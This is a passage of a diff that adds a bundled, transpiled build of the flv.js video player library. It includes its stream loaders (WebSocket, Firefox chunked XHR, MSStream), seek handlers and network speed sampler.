this._onComplete; + }, + set: function set(callback) { + this._onComplete = callback; + } + }, { + key: 'onRedirect', + get: function get() { + return this._onRedirect; + }, + set: function set(callback) { + this._onRedirect = callback; + } + }, { + key: 'onRecoveredEarlyEof', + get: function get() { + return this._onRecoveredEarlyEof; + }, + set: function set(callback) { + this._onRecoveredEarlyEof = callback; + } + }, { + key: 'currentURL', + get: function get() { + return this._dataSource.url; + } + }, { + key: 'hasRedirect', + get: function get() { + return this._redirectedURL != null || this._dataSource.redirectedURL != undefined; + } + }, { + key: 'currentRedirectedURL', + get: function get() { + return this._redirectedURL || this._dataSource.redirectedURL; + } + + // in KB/s + + }, { + key: 'currentSpeed', + get: function get() { + if (this._loaderClass === _xhrRangeLoader2.default) { + // SpeedSampler is inaccuracy if loader is RangeLoader + return this._loader.currentSpeed; + } + return this._speedSampler.lastSecondKBps; + } + }, { + key: 'loaderType', + get: function get() { + return this._loader.type; + } + }]); + + return IOController; + }(); + + exports.default = IOController; + +},{"../utils/exception.js":40,"../utils/logger.js":41,"./fetch-stream-loader.js":22,"./loader.js":24,"./param-seek-handler.js":25,"./range-seek-handler.js":26,"./speed-sampler.js":27,"./websocket-loader.js":28,"./xhr-moz-chunked-loader.js":29,"./xhr-msstream-loader.js":30,"./xhr-range-loader.js":31}],24:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + exports.BaseLoader = exports.LoaderErrors = exports.LoaderStatus = undefined; + + var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + var _exception = _dereq_('../utils/exception.js'); + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + + var LoaderStatus = exports.LoaderStatus = { + kIdle: 0, + kConnecting: 1, + kBuffering: 2, + kError: 3, + kComplete: 4 + }; + + var LoaderErrors = exports.LoaderErrors = { + OK: 'OK', + EXCEPTION: 'Exception', + HTTP_STATUS_CODE_INVALID: 'HttpStatusCodeInvalid', + CONNECTING_TIMEOUT: 'ConnectingTimeout', + EARLY_EOF: 'EarlyEof', + UNRECOVERABLE_EARLY_EOF: 'UnrecoverableEarlyEof' + }; + + /* Loader has callbacks which have following prototypes: + * function onContentLengthKnown(contentLength: number): void + * function onURLRedirect(url: string): void + * function onDataArrival(chunk: ArrayBuffer, byteStart: number, receivedLength: number): void + * function onError(errorType: number, errorInfo: {code: number, msg: string}): void + * function onComplete(rangeFrom: number, rangeTo: number): void + */ + + var BaseLoader = exports.BaseLoader = function () { + function BaseLoader(typeName) { + _classCallCheck(this, BaseLoader); + + this._type = typeName || 'undefined'; + this._status = LoaderStatus.kIdle; + this._needStash = false; + // callbacks + this._onContentLengthKnown = null; + this._onURLRedirect = null; + this._onDataArrival = null; + this._onError = null; + this._onComplete = null; + } + + _createClass(BaseLoader, [{ + key: 'destroy', + value: function destroy() { + this._status = LoaderStatus.kIdle; + this._onContentLengthKnown = null; + this._onURLRedirect = null; + this._onDataArrival = null; + this._onError = null; + this._onComplete = null; + } + }, { + key: 'isWorking', + value: function isWorking() { + return this._status === LoaderStatus.kConnecting || this._status === LoaderStatus.kBuffering; + } + }, { + key: 'open', + + + // pure virtual + value: function open(dataSource, range) { + throw new _exception.NotImplementedException('Unimplemented abstract function!'); + } + }, { + key: 'abort', + value: function abort() { + throw new _exception.NotImplementedException('Unimplemented abstract function!'); + } + }, { + key: 'type', + get: function get() { + return this._type; + } + }, { + key: 'status', + get: function get() { + return this._status; + } + }, { + key: 'needStashBuffer', + get: function get() { + return this._needStash; + } + }, { + key: 'onContentLengthKnown', + get: function get() { + return this._onContentLengthKnown; + }, + set: function set(callback) { + this._onContentLengthKnown = callback; + } + }, { + key: 'onURLRedirect', + get: function get() { + return this._onURLRedirect; + }, + set: function set(callback) { + this._onURLRedirect = callback; + } + }, { + key: 'onDataArrival', + get: function get() { + return this._onDataArrival; + }, + set: function set(callback) { + this._onDataArrival = callback; + } + }, { + key: 'onError', + get: function get() { + return this._onError; + }, + set: function set(callback) { + this._onError = callback; + } + }, { + key: 'onComplete', + get: function get() { + return this._onComplete; + }, + set: function set(callback) { + this._onComplete = callback; + } + }]); + + return BaseLoader; + }(); + +},{"../utils/exception.js":40}],25:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + + var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + + /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + var ParamSeekHandler = function () { + function ParamSeekHandler(paramStart, paramEnd) { + _classCallCheck(this, ParamSeekHandler); + + this._startName = paramStart; + this._endName = paramEnd; + } + + _createClass(ParamSeekHandler, [{ + key: 'getConfig', + value: function getConfig(baseUrl, range) { + var url = baseUrl; + + if (range.from !== 0 || range.to !== -1) { + var needAnd = true; + if (url.indexOf('?') === -1) { + url += '?'; + needAnd = false; + } + + if (needAnd) { + url += '&'; + } + + url += this._startName + '=' + range.from.toString(); + + if (range.to !== -1) { + url += '&' + this._endName + '=' + range.to.toString(); + } + } + + return { + url: url, + headers: {} + }; + } + }, { + key: 'removeURLParameters', + value: function removeURLParameters(seekedURL) { + var baseURL = seekedURL.split('?')[0]; + var params = undefined; + + var queryIndex = seekedURL.indexOf('?'); + if (queryIndex !== -1) { + params = seekedURL.substring(queryIndex + 1); + } + + var resultParams = ''; + + if (params != undefined && params.length > 0) { + var pairs = params.split('&'); + + for (var i = 0; i < pairs.length; i++) { + var pair = pairs[i].split('='); + var requireAnd = i > 0; + + if (pair[0] !== this._startName && pair[0] !== this._endName) { + if (requireAnd) { + resultParams += '&'; + } + resultParams += pairs[i]; + } + } + } + + return resultParams.length === 0 ? baseURL : baseURL + '?' + resultParams; + } + }]); + + return ParamSeekHandler; + }(); + + exports.default = ParamSeekHandler; + +},{}],26:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + + var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + + /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + var RangeSeekHandler = function () { + function RangeSeekHandler(zeroStart) { + _classCallCheck(this, RangeSeekHandler); + + this._zeroStart = zeroStart || false; + } + + _createClass(RangeSeekHandler, [{ + key: 'getConfig', + value: function getConfig(url, range) { + var headers = {}; + + if (range.from !== 0 || range.to !== -1) { + var param = void 0; + if (range.to !== -1) { + param = 'bytes=' + range.from.toString() + '-' + range.to.toString(); + } else { + param = 'bytes=' + range.from.toString() + '-'; + } + headers['Range'] = param; + } else if (this._zeroStart) { + headers['Range'] = 'bytes=0-'; + } + + return { + url: url, + headers: headers + }; + } + }, { + key: 'removeURLParameters', + value: function removeURLParameters(seekedURL) { + return seekedURL; + } + }]); + + return RangeSeekHandler; + }(); + + exports.default = RangeSeekHandler; + +},{}],27:[function(_dereq_,module,exports){ + "use strict"; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + + var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + + /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +// Utility class to calculate realtime network I/O speed + var SpeedSampler = function () { + function SpeedSampler() { + _classCallCheck(this, SpeedSampler); + + // milliseconds + this._firstCheckpoint = 0; + this._lastCheckpoint = 0; + this._intervalBytes = 0; + this._totalBytes = 0; + this._lastSecondBytes = 0; + + // compatibility detection + if (self.performance && self.performance.now) { + this._now = self.performance.now.bind(self.performance); + } else { + this._now = Date.now; + } + } + + _createClass(SpeedSampler, [{ + key: "reset", + value: function reset() { + this._firstCheckpoint = this._lastCheckpoint = 0; + this._totalBytes = this._intervalBytes = 0; + this._lastSecondBytes = 0; + } + }, { + key: "addBytes", + value: function addBytes(bytes) { + if (this._firstCheckpoint === 0) { + this._firstCheckpoint = this._now(); + this._lastCheckpoint = this._firstCheckpoint; + this._intervalBytes += bytes; + this._totalBytes += bytes; + } else if (this._now() - this._lastCheckpoint < 1000) { + this._intervalBytes += bytes; + this._totalBytes += bytes; + } else { + // duration >= 1000 + this._lastSecondBytes = this._intervalBytes; + this._intervalBytes = bytes; + this._totalBytes += bytes; + this._lastCheckpoint = this._now(); + } + } + }, { + key: "currentKBps", + get: function get() { + this.addBytes(0); + + var durationSeconds = (this._now() - this._lastCheckpoint) / 1000; + if (durationSeconds == 0) durationSeconds = 1; + return this._intervalBytes / durationSeconds / 1024; + } + }, { + key: "lastSecondKBps", + get: function get() { + this.addBytes(0); + + if (this._lastSecondBytes !== 0) { + return this._lastSecondBytes / 1024; + } else { + // lastSecondBytes === 0 + if (this._now() - this._lastCheckpoint >= 500) { + // if time interval since last checkpoint has exceeded 500ms + // the speed is nearly accurate + return this.currentKBps; + } else { + // We don't know + return 0; + } + } + } + }, { + key: "averageKBps", + get: function get() { + var durationSeconds = (this._now() - this._firstCheckpoint) / 1000; + return this._totalBytes / durationSeconds / 1024; + } + }]); + + return SpeedSampler; + }(); + + exports.default = SpeedSampler; + +},{}],28:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + + var _get = function get(object, property, receiver) { if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { return get(parent, property, receiver); } } else if ("value" in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } }; + + var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); + + var _logger = _dereq_('../utils/logger.js'); + + var _logger2 = _interopRequireDefault(_logger); + + var _loader = _dereq_('./loader.js'); + + var _exception = _dereq_('../utils/exception.js'); + + function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + + function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; } + + function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +// For FLV over WebSocket live stream + var WebSocketLoader = function (_BaseLoader) { + _inherits(WebSocketLoader, _BaseLoader); + + _createClass(WebSocketLoader, null, [{ + key: 'isSupported', + value: function isSupported() { + try { + return typeof self.WebSocket !== 'undefined'; + } catch (e) { + return false; + } + } + }]); + + function WebSocketLoader() { + _classCallCheck(this, WebSocketLoader); + + var _this = _possibleConstructorReturn(this, (WebSocketLoader.__proto__ || Object.getPrototypeOf(WebSocketLoader)).call(this, 'websocket-loader')); + + _this.TAG = 'WebSocketLoader'; + + _this._needStash = true; + + _this._ws = null; + _this._requestAbort = false; + _this._receivedLength = 0; + return _this; + } + + _createClass(WebSocketLoader, [{ + key: 'destroy', + value: function destroy() { + if (this._ws) { + this.abort(); + } + _get(WebSocketLoader.prototype.__proto__ || Object.getPrototypeOf(WebSocketLoader.prototype), 'destroy', this).call(this); + } + }, { + key: 'open', + value: function open(dataSource) { + try { + var ws = this._ws = new self.WebSocket(dataSource.url); + ws.binaryType = 'arraybuffer'; + ws.onopen = this._onWebSocketOpen.bind(this); + ws.onclose = this._onWebSocketClose.bind(this); + ws.onmessage = this._onWebSocketMessage.bind(this); + ws.onerror = this._onWebSocketError.bind(this); + + this._status = _loader.LoaderStatus.kConnecting; + } catch (e) { + this._status = _loader.LoaderStatus.kError; + + var info = { code: e.code, msg: e.message }; + + if (this._onError) { + this._onError(_loader.LoaderErrors.EXCEPTION, info); + } else { + throw new _exception.RuntimeException(info.msg); + } + } + } + }, { + key: 'abort', + value: function abort() { + var ws = this._ws; + if (ws && (ws.readyState === 0 || ws.readyState === 1)) { + // CONNECTING || OPEN + this._requestAbort = true; + ws.close(); + } + + this._ws = null; + this._status = _loader.LoaderStatus.kComplete; + } + }, { + key: '_onWebSocketOpen', + value: function _onWebSocketOpen(e) { + this._status = _loader.LoaderStatus.kBuffering; + } + }, { + key: '_onWebSocketClose', + value: function _onWebSocketClose(e) { + if (this._requestAbort === true) { + this._requestAbort = false; + return; + } + + this._status = _loader.LoaderStatus.kComplete; + + if (this._onComplete) { + this._onComplete(0, this._receivedLength - 1); + } + } + }, { + key: '_onWebSocketMessage', + value: function _onWebSocketMessage(e) { + var _this2 = this; + + if (e.data instanceof ArrayBuffer) { + this._dispatchArrayBuffer(e.data); + } else if (e.data instanceof Blob) { + var reader = new FileReader(); + reader.onload = function () { + _this2._dispatchArrayBuffer(reader.result); + }; + reader.readAsArrayBuffer(e.data); + } else { + this._status = _loader.LoaderStatus.kError; + var info = { code: -1, msg: 'Unsupported WebSocket message type: ' + e.data.constructor.name }; + + if (this._onError) { + this._onError(_loader.LoaderErrors.EXCEPTION, info); + } else { + throw new _exception.RuntimeException(info.msg); + } + } + } + }, { + key: '_dispatchArrayBuffer', + value: function _dispatchArrayBuffer(arraybuffer) { + var chunk = arraybuffer; + var byteStart = this._receivedLength; + this._receivedLength += chunk.byteLength; + + if (this._onDataArrival) { + this._onDataArrival(chunk, byteStart, this._receivedLength); + } + } + }, { + key: '_onWebSocketError', + value: function _onWebSocketError(e) { + this._status = _loader.LoaderStatus.kError; + + var info = { + code: e.code, + msg: e.message + }; + + if (this._onError) { + this._onError(_loader.LoaderErrors.EXCEPTION, info); + } else { + throw new _exception.RuntimeException(info.msg); + } + } + }]); + + return WebSocketLoader; + }(_loader.BaseLoader); + + exports.default = WebSocketLoader; + +},{"../utils/exception.js":40,"../utils/logger.js":41,"./loader.js":24}],29:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + + var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; + + var _get = function get(object, property, receiver) { if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { return get(parent, property, receiver); } } else if ("value" in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } }; + + var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); + + var _logger = _dereq_('../utils/logger.js'); + + var _logger2 = _interopRequireDefault(_logger); + + var _loader = _dereq_('./loader.js'); + + var _exception = _dereq_('../utils/exception.js'); + + function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + + function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; } + + function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +// For FireFox browser which supports `xhr.responseType = 'moz-chunked-arraybuffer'` + var MozChunkedLoader = function (_BaseLoader) { + _inherits(MozChunkedLoader, _BaseLoader); + + _createClass(MozChunkedLoader, null, [{ + key: 'isSupported', + value: function isSupported() { + try { + var xhr = new XMLHttpRequest(); + // Firefox 37- requires .open() to be called before setting responseType + xhr.open('GET', 'https://example.com', true); + xhr.responseType = 'moz-chunked-arraybuffer'; + return xhr.responseType === 'moz-chunked-arraybuffer'; + } catch (e) { + _logger2.default.w('MozChunkedLoader', e.message); + return false; + } + } + }]); + + function MozChunkedLoader(seekHandler, config) { + _classCallCheck(this, MozChunkedLoader); + + var _this = _possibleConstructorReturn(this, (MozChunkedLoader.__proto__ || Object.getPrototypeOf(MozChunkedLoader)).call(this, 'xhr-moz-chunked-loader')); + + _this.TAG = 'MozChunkedLoader'; + + _this._seekHandler = seekHandler; + _this._config = config; + _this._needStash = true; + + _this._xhr = null; + _this._requestAbort = false; + _this._contentLength = null; + _this._receivedLength = 0; + return _this; + } + + _createClass(MozChunkedLoader, [{ + key: 'destroy', + value: function destroy() { + if (this.isWorking()) { + this.abort(); + } + if (this._xhr) { + this._xhr.onreadystatechange = null; + this._xhr.onprogress = null; + this._xhr.onloadend = null; + this._xhr.onerror = null; + this._xhr = null; + } + _get(MozChunkedLoader.prototype.__proto__ || Object.getPrototypeOf(MozChunkedLoader.prototype), 'destroy', this).call(this); + } + }, { + key: 'open', + value: function open(dataSource, range) { + this._dataSource = dataSource; + this._range = range; + + var sourceURL = dataSource.url; + if (this._config.reuseRedirectedURL && dataSource.redirectedURL != undefined) { + sourceURL = dataSource.redirectedURL; + } + + var seekConfig = this._seekHandler.getConfig(sourceURL, range); + this._requestURL = seekConfig.url; + + var xhr = this._xhr = new XMLHttpRequest(); + xhr.open('GET', seekConfig.url, true); + xhr.responseType = 'moz-chunked-arraybuffer'; + xhr.onreadystatechange = this._onReadyStateChange.bind(this); + xhr.onprogress = this._onProgress.bind(this); + xhr.onloadend = this._onLoadEnd.bind(this); + xhr.onerror = this._onXhrError.bind(this); + + // cors is auto detected and enabled by xhr + + // withCredentials is disabled by default + if (dataSource.withCredentials) { + xhr.withCredentials = true; + } + + if (_typeof(seekConfig.headers) === 'object') { + var headers = seekConfig.headers; + + for (var key in headers) { + if (headers.hasOwnProperty(key)) { + xhr.setRequestHeader(key, headers[key]); + } + } + } + + // add additional headers + if (_typeof(this._config.headers) === 'object') { + var _headers = this._config.headers; + + for (var _key in _headers) { + if (_headers.hasOwnProperty(_key)) { + xhr.setRequestHeader(_key, _headers[_key]); + } + } + } + + this._status = _loader.LoaderStatus.kConnecting; + xhr.send(); + } + }, { + key: 'abort', + value: function abort() { + this._requestAbort = true; + if (this._xhr) { + this._xhr.abort(); + } + this._status = _loader.LoaderStatus.kComplete; + } + }, { + key: '_onReadyStateChange', + value: function _onReadyStateChange(e) { + var xhr = e.target; + + if (xhr.readyState === 2) { + // HEADERS_RECEIVED + if (xhr.responseURL != undefined && xhr.responseURL !== this._requestURL) { + if (this._onURLRedirect) { + var redirectedURL = this._seekHandler.removeURLParameters(xhr.responseURL); + this._onURLRedirect(redirectedURL); + } + } + + if (xhr.status !== 0 && (xhr.status < 200 || xhr.status > 299)) { + this._status = _loader.LoaderStatus.kError; + if (this._onError) { + this._onError(_loader.LoaderErrors.HTTP_STATUS_CODE_INVALID, { code: xhr.status, msg: xhr.statusText }); + } else { + throw new _exception.RuntimeException('MozChunkedLoader: Http code invalid, ' + xhr.status + ' ' + xhr.statusText); + } + } else { + this._status = _loader.LoaderStatus.kBuffering; + } + } + } + }, { + key: '_onProgress', + value: function _onProgress(e) { + if (this._status === _loader.LoaderStatus.kError) { + // Ignore error response + return; + } + + if (this._contentLength === null) { + if (e.total !== null && e.total !== 0) { + this._contentLength = e.total; + if (this._onContentLengthKnown) { + this._onContentLengthKnown(this._contentLength); + } + } + } + + var chunk = e.target.response; + var byteStart = this._range.from + this._receivedLength; + this._receivedLength += chunk.byteLength; + + if (this._onDataArrival) { + this._onDataArrival(chunk, byteStart, this._receivedLength); + } + } + }, { + key: '_onLoadEnd', + value: function _onLoadEnd(e) { + if (this._requestAbort === true) { + this._requestAbort = false; + return; + } else if (this._status === _loader.LoaderStatus.kError) { + return; + } + + this._status = _loader.LoaderStatus.kComplete; + if (this._onComplete) { + this._onComplete(this._range.from, this._range.from + this._receivedLength - 1); + } + } + }, { + key: '_onXhrError', + value: function _onXhrError(e) { + this._status = _loader.LoaderStatus.kError; + var type = 0; + var info = null; + + if (this._contentLength && e.loaded < this._contentLength) { + type = _loader.LoaderErrors.EARLY_EOF; + info = { code: -1, msg: 'Moz-Chunked stream meet Early-Eof' }; + } else { + type = _loader.LoaderErrors.EXCEPTION; + info = { code: -1, msg: e.constructor.name + ' ' + e.type }; + } + + if (this._onError) { + this._onError(type, info); + } else { + throw new _exception.RuntimeException(info.msg); + } + } + }]); + + return MozChunkedLoader; + }(_loader.BaseLoader); + + exports.default = MozChunkedLoader; + +},{"../utils/exception.js":40,"../utils/logger.js":41,"./loader.js":24}],30:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + + var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; + + var _get = function get(object, property, receiver) { if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { return get(parent, property, receiver); } } else if ("value" in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } }; + + var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); + + var _logger = _dereq_('../utils/logger.js'); + + var _logger2 = _interopRequireDefault(_logger); + + var _loader = _dereq_('./loader.js'); + + var _exception = _dereq_('../utils/exception.js'); + + function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + + function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; } + + function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + /* Notice: ms-stream may cause IE/Edge browser crash if seek too frequently!!! + * The browser may crash in wininet.dll. Disable for now. + * + * For IE11/Edge browser by microsoft which supports `xhr.responseType = 'ms-stream'` + * Notice that ms-stream API sucks. The buffer is always expanding along with downloading. + * + * We need to abort the xhr if buffer size exceeded limit size (e.g. 16 MiB), then do reconnect. + * in order to release previous ArrayBuffer to avoid memory leak + * + * Otherwise, the ArrayBuffer will increase to a terrible size that equals final file size. + */ + var MSStreamLoader = function (_BaseLoader) { + _inherits(MSStreamLoader, _BaseLoader); + + _createClass(MSStreamLoader, null, [{ + key: 'isSupported', + value: function isSupported() { + try { + if (typeof self.MSStream === 'undefined' || typeof self.MSStreamReader === 'undefined') { + return false; + } + + var xhr = new XMLHttpRequest(); + xhr.open('GET', 'https://example.com', true); + xhr.responseType = 'ms-stream'; + return xhr.responseType === 'ms-stream'; + } catch (e) { + _logger2.default.w('MSStreamLoader', e.message); + return false; + } + } + }]); + + function MSStreamLoader(seekHandler, config) { + _classCallCheck(this, MSStreamLoader); + + var _this = _possibleConstructorReturn(this, (MSStreamLoader.__proto__ || Object.getPrototypeOf(MSStreamLoader)).call(this, 'xhr-msstream-loader')); + + _this.TAG = 'MSStreamLoader'; + + _this._seekHandler = seekHandler; + _this._config = config; + _this._needStash = true; + + _this._xhr = null; + _this._reader = null; // MSStreamReader + + _this._totalRange = null; + _this._currentRange = null; + + _this._currentRequestURL = null; + _this._currentRedirectedURL = null; + + _this._contentLength = null; + _this._receivedLength = 0; + + _this._bufferLimit 